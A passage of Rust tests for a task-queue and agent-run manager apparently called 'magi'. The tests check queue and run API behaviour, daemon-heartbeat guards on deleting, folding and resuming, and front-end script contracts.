22232 fn runs_revision_moves_when_deleting_an_older_run() {
22233 let temp = TempDir::new().expect("tempdir");
22234 let runs = temp.path().join("runs");
22235 std::fs::create_dir_all(&runs).expect("create runs dir");
22236
22237 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
22238
22239 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
22240 std::thread::sleep(Duration::from_millis(10));
22241 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
22242
22243 let rev_before = runs_revision(&runs);
22244 assert!(rev_before > 0);
22245
22246 let old_dir = runs.join("20260901-100000-old1");
22247 std::fs::remove_dir_all(&old_dir).expect("remove old run");
22248
22249 let rev_after = runs_revision(&runs);
22250 assert_ne!(
22251 rev_before, rev_after,
22252 "deleting an older run must change the revision so other clients see the deletion"
22253 );
22254 }
22255
22256 fn write_state(runs: &FsPath, state: &RunState) {
22261 let dir = runs.join(&state.id);
22262 std::fs::create_dir_all(&dir).expect("run dir");
22263 std::fs::write(
22264 dir.join("run.json"),
22265 serde_json::to_string_pretty(state).expect("serialize run"),
22266 )
22267 .expect("write run.json");
22268 }
22269
22270 #[test]
22275 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
22276 let temp = TempDir::new().expect("tempdir");
22277 let runs = temp.path().join("runs");
22278 std::fs::create_dir_all(&runs).expect("create runs dir");
22279 let mut state = RunState::new(
22280 PathBuf::from("/repo/magi"),
22281 "main".to_owned(),
22282 "0123456789abcdef".to_owned(),
22283 "task".to_owned(),
22284 Config::default(),
22285 );
22286 state.id = "20260902-100000-c0de".to_owned();
22287 write_state(&runs, &state);
22288
22289 let rev_idle = runs_revision(&runs);
22290 std::thread::sleep(Duration::from_millis(10));
22291 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
22292 write_state(&runs, &state);
22293 let rev_started = runs_revision(&runs);
22294 assert_ne!(
22295 rev_idle, rev_started,
22296 "a seat starting must move the revision"
22297 );
22298
22299 std::thread::sleep(Duration::from_millis(10));
22300 state.seat_finished("judge-1");
22301 write_state(&runs, &state);
22302 let rev_finished = runs_revision(&runs);
22303 assert_ne!(
22304 rev_started, rev_finished,
22305 "and clearing it again must move the revision a second time"
22306 );
22307 }
22308
22309 #[tokio::test]
22310 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
22311 let fx = Fixture::start().await;
22316 let q = fx.queue();
22317
22318 let mut t = Task::new(
22319 "Task".to_owned(),
22320 "Instruction".to_owned(),
22321 PathBuf::from("/repo"),
22322 Source::Human,
22323 );
22324 t.block(
22325 vec!["20260101-000000-dead".to_owned()],
22326 Some("waiting on Task 1".to_owned()),
22327 );
22328 t.answers.push(crate::queue::AnsweredQuestion {
22329 question: "Which backend?".to_owned(),
22330 answer: "SQLite".to_owned(),
22331 });
22332 q.put(&mut t).expect("put t");
22333
22334 let res = fx.get("/api/queue").await;
22335 assert_eq!(res.status, 200);
22336 let list = res.json();
22337 let view = list
22338 .as_array()
22339 .expect("array")
22340 .iter()
22341 .find(|v| v["id"] == t.id)
22342 .expect("task in list");
22343 assert_eq!(view["status_str"], "blocked");
22344 assert_eq!(
22345 view["blocked_by"],
22346 serde_json::json!(["20260101-000000-dead"])
22347 );
22348 assert_eq!(view["block_reason"], "waiting on Task 1");
22349 assert_eq!(view["answers"][0]["question"], "Which backend?");
22350 assert_eq!(view["answers"][0]["answer"], "SQLite");
22351
22352 let res = fx
22356 .post(&format!("/api/queue/{}/hold", t.short()), None)
22357 .await;
22358 assert_eq!(res.status, 200);
22359 let held = res.json();
22360 assert_eq!(held["status_str"], "held");
22361 assert_eq!(held["blocked_by"], serde_json::json!([]));
22362 assert!(held["block_reason"].is_null());
22363 assert_eq!(held["answers"][0]["answer"], "SQLite");
22364 }
22365
22366 #[tokio::test]
22367 async fn task_recovery_pending_decisions_block_disk_autoresume() {
22368 let fx = Fixture::start().await;
22369 let queue = fx.queue();
22370 let questions = fx.questions();
22371 let mut task = Task::new(
22372 "Disk recovery".into(),
22373 "Inspect".into(),
22374 PathBuf::from("/repo"),
22375 Source::Human,
22376 );
22377 task.hold_machine(crate::disk::gate(2_667_941_888, 3_221_225_472));
22378 task.mark_disk_capacity();
22379 queue.put(&mut task).unwrap();
22380 let mut records = Vec::new();
22381 for node in [crate::triage::NODE, crate::triage::DEPS_NODE] {
22382 let mut q = Question::new(
22383 task.id.clone(),
22384 node.into(),
22385 "triage".into(),
22386 "Resume recovery?".into(),
22387 String::new(),
22388 vec![],
22389 );
22390 q.routed_task = Some(task.id.clone());
22391 questions.put(&mut q).unwrap();
22392 records.push(q);
22393 }
22394 let url = format!("/api/queue/{}", task.id);
22395 let view = fx.get(&url).await.json();
22396 assert_eq!(view["status_str"], "held");
22397 assert_eq!(view["blockers"].as_array().unwrap().len(), 2);
22398 assert!(
22399 view["recovery"]
22400 .as_str()
22401 .unwrap()
22402 .contains("Disk recovery alone will not resume")
22403 );
22404 assert!(
22405 view["recovery"]
22406 .as_str()
22407 .unwrap()
22408 .contains("Disk wait (automatically monitored)")
22409 );
22410 for blocker in view["blockers"].as_array().unwrap() {
22411 assert!(blocker["destination"].is_null());
22412 assert!(
22413 blocker["next"]
22414 .as_str()
22415 .unwrap()
22416 .contains("pending delivery")
22417 );
22418 }
22419 for q in &mut records {
22420 q.routed_chat = Some("owning-chat".into());
22421 questions.put(q).unwrap();
22422 }
22423 let view = fx.get(&url).await.json();
22424 for blocker in view["blockers"].as_array().unwrap() {
22425 assert_eq!(
22426 blocker["destination"],
22427 serde_json::json!(["chat", "owning-chat"])
22428 );
22429 assert_eq!(blocker["resolves_itself"], false);
22430 }
22431 for q in &mut records {
22433 q.status = ask::QuestionStatus::Answered;
22434 questions.put(q).unwrap();
22435 }
22436 assert!(crate::triage::pending_for(&questions, &task));
22437 let view = fx.get(&url).await.json();
22438 assert_eq!(view["blockers"].as_array().unwrap().len(), 2);
22439 assert!(
22440 view["blockers"][0]["next"]
22441 .as_str()
22442 .unwrap()
22443 .contains("not yet applied")
22444 );
22445 for q in &records {
22446 task.mark_triage_applied(&q.id);
22447 }
22448 queue.put(&mut task).unwrap();
22449 assert!(!crate::triage::pending_for(&questions, &task));
22450 assert_eq!(fx.get(&url).await.json()["blockers"], serde_json::json!([]));
22451 assert_eq!(queue.get(&task.id).unwrap().status, TaskStatus::Held);
22452 }
22453
22454 #[test]
22455 fn task_recovery_distinguishes_dependency_restoration_and_hold_ownership() {
22456 use crate::queue::HoldSource;
22457 let mut task = Task::new(
22458 "Recovery".into(),
22459 "Inspect".into(),
22460 PathBuf::from("/repo"),
22461 Source::Human,
22462 );
22463 assert!(task_recovery(&task).is_none());
22464 task.hold_manual(Some("Operator paused".into()));
22465 assert!(task_recovery(&task).unwrap().contains("explicitly Release"));
22466 task.block(vec!["dependency".into()], Some("Decision needed".into()));
22467 let text = task_recovery(&task).unwrap();
22468 assert!(text.contains("restores held"));
22469 assert!(text.contains("clears its dependency references"));
22470 task.hold_source = Some(HoldSource::Machine);
22471 task.hold_reason = crate::disk::gate(2_667_941_888, 3_221_225_472);
22472 task.mark_disk_capacity();
22473 let view = TaskView::with_inventory(
22474 task.clone(),
22475 &crate::blockers::Inventory::new(vec![task.clone()], &[]),
22476 );
22477 let json = serde_json::to_value(view).unwrap();
22478 assert_eq!(json["block_reason"], "Decision needed");
22479 assert!(json["hold_reason"].as_str().unwrap().contains("2667941888"));
22480 let recovery = json["recovery"].as_str().unwrap();
22481 assert!(recovery.contains("not current capacity"));
22482 assert!(recovery.contains("triage rechecks"));
22483 assert_eq!(json["blockers"][0]["state"], "missing");
22484 task.blocked_from = Some(TaskStatus::Queued);
22485 assert!(!task_recovery(&task).unwrap().contains("triage rechecks"));
22486 task.blocked_from = None;
22487 assert!(task_recovery(&task).unwrap().contains("restores held"));
22488 }
22489
22490 #[tokio::test]
22491 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
22492 let fx = Fixture::start().await;
22493 let q = fx.queue();
22494 let mk = |title: &str| {
22495 Task::new(
22496 title.to_owned(),
22497 "Instruction".to_owned(),
22498 PathBuf::from("/repo"),
22499 Source::Human,
22500 )
22501 };
22502 let mut root = mk("root");
22503 root.hold_manual(Some("waiting".to_owned()));
22504 q.put(&mut root).unwrap();
22505 let mut mid = mk("mid");
22506 mid.block(vec![root.id.clone()], None);
22507 q.put(&mut mid).unwrap();
22508 let mut leaf = mk("leaf");
22509 leaf.block(vec![mid.id.clone()], None);
22510 q.put(&mut leaf).unwrap();
22511
22512 let list = fx.get("/api/queue").await.json();
22513 let find = |id: &str| {
22514 list.as_array()
22515 .unwrap()
22516 .iter()
22517 .find(|v| v["id"] == id)
22518 .unwrap()
22519 .clone()
22520 };
22521 let leaf_view = find(&leaf.id);
22522 assert_eq!(
22523 leaf_view["waits_on"],
22524 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
22525 );
22526 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
22527 assert_eq!(
22528 find(&mid.id)["waits_on"],
22529 serde_json::json!([format!("{} (held)", root.short())])
22530 );
22531 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
22532 }
22533
22534 #[tokio::test]
22535 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
22536 let fx = Fixture::start().await;
22537 let q = fx.queue();
22538
22539 let mut t1 = Task::new(
22541 "Task 1".to_owned(),
22542 "Instruction 1".to_owned(),
22543 PathBuf::from("/repo"),
22544 Source::Human,
22545 );
22546 let run_id = "20260901-000000-r111";
22547 t1.runs.push(run_id.to_owned());
22548 write_run(&fx.runs(), run_id, RunStatus::Merged);
22549 q.put(&mut t1).expect("put t1");
22550
22551 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
22553 assert_eq!(res.status, 204);
22554 assert!(res.body.is_empty(), "204 No Content has no body");
22555 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
22556 assert!(
22557 fx.runs().join(run_id).exists(),
22558 "run directory must not be deleted when its task is deleted"
22559 );
22560
22561 let mut t2 = Task::new(
22563 "Task 2".to_owned(),
22564 "Instruction 2".to_owned(),
22565 PathBuf::from("/repo"),
22566 Source::Human,
22567 );
22568 t2.status = TaskStatus::Running;
22569 q.put(&mut t2).expect("put t2");
22570 let mut beat = crate::daemon::Status::new();
22571 beat.current = vec![crate::daemon::Current {
22572 worker: None,
22573 task: t2.id.clone(),
22574 run: "20260901-000000-r222".to_owned(),
22575 }];
22576 beat.updated_at = jiff::Timestamp::now();
22577 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
22578 .expect("publish a heartbeat");
22579 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
22580 assert_eq!(res.status, 409);
22581 assert!(
22582 res.json()["error"]
22583 .as_str()
22584 .unwrap()
22585 .contains("live daemon")
22586 );
22587 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
22588
22589 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
22595 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
22596 .expect("leave a stale heartbeat");
22597 let mut t3 = Task::new(
22598 "Task 3".to_owned(),
22599 "Instruction 3".to_owned(),
22600 PathBuf::from("/repo"),
22601 Source::Human,
22602 );
22603 t3.status = TaskStatus::Running;
22604 q.put(&mut t3).expect("put t3");
22605 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
22606 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
22607 assert_eq!(res.status, 204);
22608 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
22609 assert!(
22610 q.claim(&t3.id).is_ok(),
22611 "the stale lock went with it, so the id is claimable again"
22612 );
22613
22614 let res = fx.delete("/api/queue/nonexistent").await;
22616 assert_eq!(res.status, 404);
22617 }
22618
22619 #[tokio::test]
22620 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
22621 let fx = Fixture::start().await;
22622 let runs = fx.runs();
22623
22624 let run_id = "20260901-000000-fold";
22626 let mut state = RunState::new(
22627 PathBuf::from("/repo"),
22628 "main".to_owned(),
22629 "abc".to_owned(),
22630 "instruction".to_owned(),
22631 Config::default(),
22632 );
22633 state.id = run_id.to_owned();
22634 state.status = RunStatus::Merged;
22635 state.candidates.push(crate::run::Candidate {
22636 index: 0,
22637 label: 'A',
22638 agent: "a".to_owned(),
22639 branch: "b".to_owned(),
22640 worktree: PathBuf::from("/w"),
22641 summary: String::new(),
22642 stat: String::new(),
22643 files: 1,
22644 commits: 1,
22645 empty: false,
22646 failed: None,
22647 verified_noop: None,
22648 duration_ms: 0,
22649 folded: true,
22650 });
22651 let dir = runs.join(run_id);
22652 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
22653 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
22654 .expect("write artifact");
22655 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
22656 .expect("write run.json");
22657
22658 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
22660 assert_eq!(res.status, 204);
22661 assert!(res.body.is_empty(), "204 has no body");
22662 assert!(!dir.exists(), "run directory and artifacts must be deleted");
22663
22664 let run_running = "20260901-000000-rung";
22669 write_run(&runs, run_running, RunStatus::Prep);
22670 let mut beat = crate::daemon::Status::new();
22671 beat.current = vec![crate::daemon::Current {
22672 worker: None,
22673 task: "20260901-000000-task".to_owned(),
22674 run: run_running.to_owned(),
22675 }];
22676 beat.updated_at = jiff::Timestamp::now();
22677 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
22678 .expect("publish a heartbeat");
22679 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
22680 assert_eq!(res.status, 409);
22681 assert!(
22682 res.json()["error"]
22683 .as_str()
22684 .unwrap()
22685 .contains("live daemon"),
22686 "the refusal must say who is holding it"
22687 );
22688 assert!(
22689 runs.join(run_running).exists(),
22690 "a run in flight keeps its directory"
22691 );
22692
22693 let run_unfolded = "20260901-000000-unfd";
22695 let mut state2 = RunState::new(
22696 PathBuf::from("/repo"),
22697 "main".to_owned(),
22698 "abc".to_owned(),
22699 "instruction".to_owned(),
22700 Config::default(),
22701 );
22702 state2.id = run_unfolded.to_owned();
22703 state2.status = RunStatus::Ready;
22704 state2.candidates.push(crate::run::Candidate {
22705 index: 0,
22706 label: 'A',
22707 agent: "a".to_owned(),
22708 branch: "b".to_owned(),
22709 worktree: PathBuf::from("/w"),
22710 summary: String::new(),
22711 stat: String::new(),
22712 files: 1,
22713 commits: 1,
22714 empty: false,
22715 failed: None,
22716 verified_noop: None,
22717 duration_ms: 0,
22718 folded: false,
22719 });
22720 let dir2 = runs.join(run_unfolded);
22721 std::fs::create_dir_all(&dir2).expect("create dir2");
22722 std::fs::write(
22723 dir2.join("run.json"),
22724 serde_json::to_string(&state2).unwrap(),
22725 )
22726 .expect("write run.json");
22727
22728 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
22729 assert_eq!(res.status, 409);
22730 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
22731 assert!(dir2.exists(), "unfolded run directory is kept");
22732
22733 let res = fx.delete("/api/runs/nonexistent").await;
22735 assert_eq!(res.status, 404);
22736 }
22737
22738 #[test]
22747 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
22748 let start = APP_JS
22749 .find("function renderStats() {")
22750 .expect("renderStats");
22751 let end = start
22752 + APP_JS[start..]
22753 .find("function statsTile(")
22754 .expect("the next top-level function");
22755 let body = &APP_JS[start..end];
22756
22757 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
22758 let gate_end = gate_start
22759 + body[gate_start..]
22760 .find("}\n renderStatsQueue")
22761 .expect("the gate's own closing brace, right before the unconditional call");
22762 let gated = &body[gate_start..gate_end];
22763
22764 assert_eq!(
22765 body.matches("renderStatsQueue(").count(),
22766 1,
22767 "renderStats must call renderStatsQueue exactly once: {body}"
22768 );
22769 assert!(
22770 !gated.contains("renderStatsQueue"),
22771 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
22772 run-derived panels on an empty run history - the queue panel has to render \
22773 regardless: {gated}"
22774 );
22775 }
22776
22777 #[test]
22778 fn web_ui_delete_contract_in_front_end() {
22779 assert!(APP_JS.contains("deleteRun:"));
22781 assert!(APP_JS.contains("deleteTask:"));
22782
22783 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
22785 ..APP_JS.find("function renderRuns").unwrap()];
22786 assert!(!run_cards_slice.to_lowercase().contains("delete"));
22787
22788 assert!(APP_JS.contains("renderRunDelete"));
22790 assert!(APP_JS.contains("runDeleteReason"));
22791 assert!(APP_JS.contains("magi fold"));
22792 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
22793
22794 assert!(APP_JS.contains("cancel.focus"));
22796 assert!(APP_JS.contains("armedRunDelete"));
22797 assert!(APP_JS.contains("renderTaskDeleteBox"));
22798 assert!(APP_JS.contains("armed${cap(key)}"));
22799
22800 assert!(APP_JS.contains("disabled: status === \"running\""));
22802 }
22803
22804 #[test]
22824 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
22825 let build = APP_JS
22826 .find("function createRunCard")
22827 .expect("createRunCard exists");
22828 let update = APP_JS
22829 .find("function updateRunCard")
22830 .expect("updateRunCard exists");
22831 let end = APP_JS
22832 .find("function renderRuns")
22833 .expect("renderRuns exists");
22834
22835 let builder = &APP_JS[build..update];
22837 let open = builder.find("refs = {").expect("createRunCard sets refs");
22838 let literal = &builder[open + "refs = {".len()..];
22839 let close = literal.find('}').expect("the refs literal is closed");
22840 let published: HashSet<&str> = literal[..close]
22841 .split(',')
22842 .filter_map(|entry| entry.split(':').next())
22844 .map(str::trim)
22845 .filter(|name| !name.is_empty())
22846 .collect();
22847 assert!(
22848 published.len() > 5,
22849 "the refs literal did not parse into names: {published:?}"
22850 );
22851
22852 let mut used: Vec<&str> = Vec::new();
22855 let updaters = &APP_JS[update..end];
22856 for (at, _) in updaters.match_indices("r.") {
22857 let before = updaters[..at].chars().next_back();
22860 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
22861 continue;
22862 }
22863 let rest = &updaters[at + 2..];
22864 let len = rest
22865 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
22866 .unwrap_or(rest.len());
22867 if len > 0 {
22868 used.push(&rest[..len]);
22869 }
22870 }
22871 assert!(
22872 used.len() > 5,
22873 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
22874 );
22875
22876 let missing: Vec<&str> = used
22877 .iter()
22878 .copied()
22879 .filter(|name| !published.contains(name))
22880 .collect();
22881 assert!(
22882 missing.is_empty(),
22883 "a run card's updater reaches for {missing:?}, which `createRunCard` \
22884 never put in `refs` - every card will throw and the list will \
22885 render empty under a count line that says otherwise. Published: \
22886 {published:?}"
22887 );
22888 }
22889
22890 #[tokio::test]
22891 async fn folding_from_the_phone_reports_what_it_removed() {
22892 let fx = Fixture::start().await;
22893 let runs = fx.runs();
22894
22895 let id = "20260901-000000-fold";
22899 write_run(&runs, id, RunStatus::Stalled);
22900 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
22901 assert_eq!(res.status, 200);
22902 assert_eq!(res.json()["removed_count"], 0);
22903 assert_eq!(res.json()["run"], id);
22904 assert!(
22905 runs.join(id).exists(),
22906 "a fold keeps the run's record; only the worktrees go"
22907 );
22908 }
22909
22910 #[tokio::test]
22911 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
22912 let fx = Fixture::start().await;
22913 let runs = fx.runs();
22914 let wt = fx.home.path().join("wt").join("magi").join("dead");
22915 let id = "20260901-000000-dead";
22916 std::fs::create_dir_all(runs.join(id)).expect("run dir");
22917 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
22918 std::fs::create_dir_all(&wt).expect("worktree dir");
22919
22920 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
22921 assert_eq!(res.status, 200, "{}", res.body);
22922 assert!(
22923 res.json()["removed_count"].as_u64().unwrap() > 0,
22924 "the worktree this build could not read a state for still went"
22925 );
22926 assert!(
22927 !runs.join(id).exists(),
22928 "an unreadable run has no candidate list to fold selectively, so \
22929 the whole record goes - same as `magi fold` on the CLI"
22930 );
22931 }
22932
22933 #[tokio::test]
22934 async fn deleting_an_unreadable_run_removes_it_wholesale() {
22935 let fx = Fixture::start().await;
22936 let runs = fx.runs();
22937 let wt = fx.home.path().join("wt").join("magi").join("gone");
22938 let id = "20260901-000000-gone";
22939 std::fs::create_dir_all(runs.join(id)).expect("run dir");
22940 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
22941 std::fs::create_dir_all(&wt).expect("worktree dir");
22942
22943 let res = fx.delete(&format!("/api/runs/{id}")).await;
22944 assert_eq!(res.status, 204, "{}", res.body);
22945 assert!(!runs.join(id).exists(), "the broken record is gone");
22946 assert!(!wt.exists(), "its worktree is gone too");
22947 }
22948
22949 #[tokio::test]
22950 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
22951 let fx = Fixture::start().await;
22952 let runs = fx.runs();
22953 let id = "20260901-000000-live";
22954 write_run(&runs, id, RunStatus::Implementing);
22955
22956 let mut beat = crate::daemon::Status::new();
22957 beat.current = vec![crate::daemon::Current {
22958 worker: None,
22959 task: "20260901-000000-task".to_owned(),
22960 run: id.to_owned(),
22961 }];
22962 beat.updated_at = jiff::Timestamp::now();
22963 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
22964 .expect("publish a heartbeat");
22965
22966 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
22967 assert_eq!(res.status, 409);
22968 assert!(
22969 res.json()["error"]
22970 .as_str()
22971 .unwrap()
22972 .contains("live daemon"),
22973 "folding under a running agent would pull its worktree away"
22974 );
22975 }
22976
22977 #[tokio::test]
22978 async fn fold_merged_requires_a_pr_url() {
22979 let fx = Fixture::start().await;
22980 let runs = fx.runs();
22981 let id = "20260901-000000-nourl";
22982 write_run(&runs, id, RunStatus::Blocked);
22983
22984 let res = fx
22985 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
22986 .await;
22987 assert_eq!(res.status, 400, "{}", res.body);
22988
22989 let blank = fx
22990 .post(
22991 &format!("/api/runs/{id}/fold-merged"),
22992 Some(r#"{"pr_url":" "}"#),
22993 )
22994 .await;
22995 assert_eq!(blank.status, 400, "{}", blank.body);
22996 }
22997
22998 #[tokio::test]
22999 async fn fold_merged_is_404_for_an_unknown_run() {
23000 let fx = Fixture::start().await;
23001 let res = fx
23002 .post(
23003 "/api/runs/nosuchrun/fold-merged",
23004 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
23005 )
23006 .await;
23007 assert_eq!(res.status, 404, "{}", res.body);
23008 }
23009
23010 #[tokio::test]
23011 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
23012 let fx = Fixture::start().await;
23013 let runs = fx.runs();
23014 let id = "20260901-000000-livemerge";
23015 write_run(&runs, id, RunStatus::Blocked);
23016
23017 let mut beat = crate::daemon::Status::new();
23018 beat.current = vec![crate::daemon::Current {
23019 worker: None,
23020 task: "20260901-000000-task".to_owned(),
23021 run: id.to_owned(),
23022 }];
23023 beat.updated_at = jiff::Timestamp::now();
23024 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23025 .expect("publish a heartbeat");
23026
23027 let res = fx
23028 .post(
23029 &format!("/api/runs/{id}/fold-merged"),
23030 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
23031 )
23032 .await;
23033 assert_eq!(res.status, 409, "{}", res.body);
23034 assert!(
23035 res.json()["error"]
23036 .as_str()
23037 .unwrap()
23038 .contains("live daemon"),
23039 "correcting a run's merge underneath a running agent would race \
23040 whatever it is doing to the same `status`/`merge` fields"
23041 );
23042 }
23043
23044 #[tokio::test]
23049 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
23050 let fx = Fixture::start().await;
23051 let runs = fx.runs();
23052 let id = "20260901-000000-unconfirmed";
23053 write_run(&runs, id, RunStatus::Blocked);
23054
23055 let res = fx
23056 .post(
23057 &format!("/api/runs/{id}/fold-merged"),
23058 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
23059 )
23060 .await;
23061 assert_eq!(res.status, 400, "{}", res.body);
23062 assert_eq!(
23063 read_run(&runs, id).unwrap().status,
23064 RunStatus::Blocked,
23065 "a pull request that could not be confirmed merged must leave \
23066 the run exactly where it was"
23067 );
23068 }
23069
23070 #[tokio::test]
23071 async fn terminal_runs_cannot_be_resumed() {
23072 let fx = Fixture::start().await;
23073 let runs = fx.runs();
23074
23075 for (status, word) in [
23076 (RunStatus::Merged, "merged"),
23077 (RunStatus::Ready, "ready"),
23078 (RunStatus::Failed, "failed"),
23079 ] {
23080 let id = format!("20260901-000000-{}", &word[..4]);
23081 write_run(&runs, &id, status);
23082 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
23083 assert_eq!(res.status, 409, "{word} must not be resumable");
23084 }
23085 }
23086
23087 #[tokio::test]
23088 async fn resume_is_refused_while_the_loop_is_running() {
23089 let fx = Fixture::start().await;
23090 let runs = fx.runs();
23091 let stalled = "20260901-000000-stal";
23092 write_run(&runs, stalled, RunStatus::Stalled);
23093
23094 let mut beat = crate::daemon::Status::new();
23098 beat.current = vec![crate::daemon::Current {
23099 worker: None,
23100 task: "20260901-000000-task".to_owned(),
23101 run: "20260901-000000-othr".to_owned(),
23102 }];
23103 beat.updated_at = jiff::Timestamp::now();
23104 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23105 .expect("publish a heartbeat");
23106
23107 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
23108 assert_eq!(res.status, 409);
23109 let err = res.json()["error"].as_str().unwrap().to_owned();
23110 assert!(err.contains("othr"), "it names what the loop is on: {err}");
23111 assert!(err.contains("stop it first"), "{err}");
23112 }
23113
23114 #[test]
23115 fn a_run_cannot_be_resumed_twice_at_once() {
23116 let home = TempDir::new().expect("temp home");
23117 let ui = Ui::new(
23118 Queue::at(home.path().join("queue")),
23119 Questions::at(home.path().join("questions")),
23120 Talks::at(home.path().join("talks")),
23121 home.path().join("runs"),
23122 home.path().to_path_buf(),
23123 PathBuf::from("/repo"),
23124 )
23125 .with_worktrees_root(home.path().join("wt"));
23126 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
23127 let again = ui.begin_resume("20260901-000000-once");
23128 assert!(again.is_err(), "a second tap must not start a second graph");
23129 drop(first);
23130 assert!(
23131 ui.begin_resume("20260901-000000-once").is_ok(),
23132 "and the claim is released when the attempt ends"
23133 );
23134 }
23135
23136 #[test]
23137 fn talk_thinking_tracks_only_its_held_turn_claim() {
23138 let home = TempDir::new().expect("temp home");
23139 let ui = Ui::new(
23140 Queue::at(home.path().join("queue")),
23141 Questions::at(home.path().join("questions")),
23142 Talks::at(home.path().join("talks")),
23143 home.path().join("runs"),
23144 home.path().to_path_buf(),
23145 PathBuf::from("/repo"),
23146 )
23147 .with_worktrees_root(home.path().join("wt"));
23148 let id = "20260901-000000-once";
23149
23150 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
23151 let turn = ui.begin_talk_turn(id).expect("claim turn");
23152 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
23153 assert!(
23154 !ui.is_thinking("20260901-000000-other"),
23155 "one talk's turn does not make another talk busy"
23156 );
23157 drop(turn);
23158 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
23159 }
23160
23161 #[test]
23162 fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
23163 let home = TempDir::new().expect("temp home");
23164 let talks = Talks::at(home.path().join("talks"));
23165 let ui = Ui::new(
23166 Queue::at(home.path().join("queue")),
23167 Questions::at(home.path().join("questions")),
23168 talks.clone(),
23169 home.path().join("runs"),
23170 home.path().to_path_buf(),
23171 PathBuf::from("/repo"),
23172 )
23173 .with_worktrees_root(home.path().join("wt"));
23174 let id = "20260901-000000-cross";
23175
23176 let other = Talks::at(home.path().join("talks"))
23177 .claim_turn(id)
23178 .expect("claim")
23179 .expect("the other process wins");
23180 assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
23181 assert!(ui.begin_talk_turn(id).expect("claim").is_none());
23182 assert!(
23183 matches!(
23184 ui.begin_talk_turn_unless_pending(id).expect("start"),
23185 TalkTurnStart::Foreign
23186 ),
23187 "a foreign holder is refused, not queued behind"
23188 );
23189 assert!(
23190 !ui.talk_turns.lock().unwrap().live.contains(id),
23191 "a refused claim leaves no in-process entry behind"
23192 );
23193 drop(other);
23194 let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
23195 assert!(talks.turn_held(id), "the web turn holds the lease");
23196 drop(turn);
23197 assert!(
23198 !talks.turn_held(id),
23199 "dropping the guard releases the lease"
23200 );
23201 }
23202
23203 fn consult_question(ui: &Ui) -> Question {
23204 let mut q = Question::new(
23205 "20260901-000000-consult".to_owned(),
23206 "implement".to_owned(),
23207 "impl-A".to_owned(),
23208 "Which backend?".to_owned(),
23209 String::new(),
23210 vec!["SQLite".to_owned(), "Redis".to_owned()],
23211 );
23212 ui.questions.put(&mut q).expect("question");
23213 q
23214 }
23215
23216 fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
23217 (
23218 std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
23219 std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
23220 )
23221 }
23222
23223 #[tokio::test]
23224 async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
23225 let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
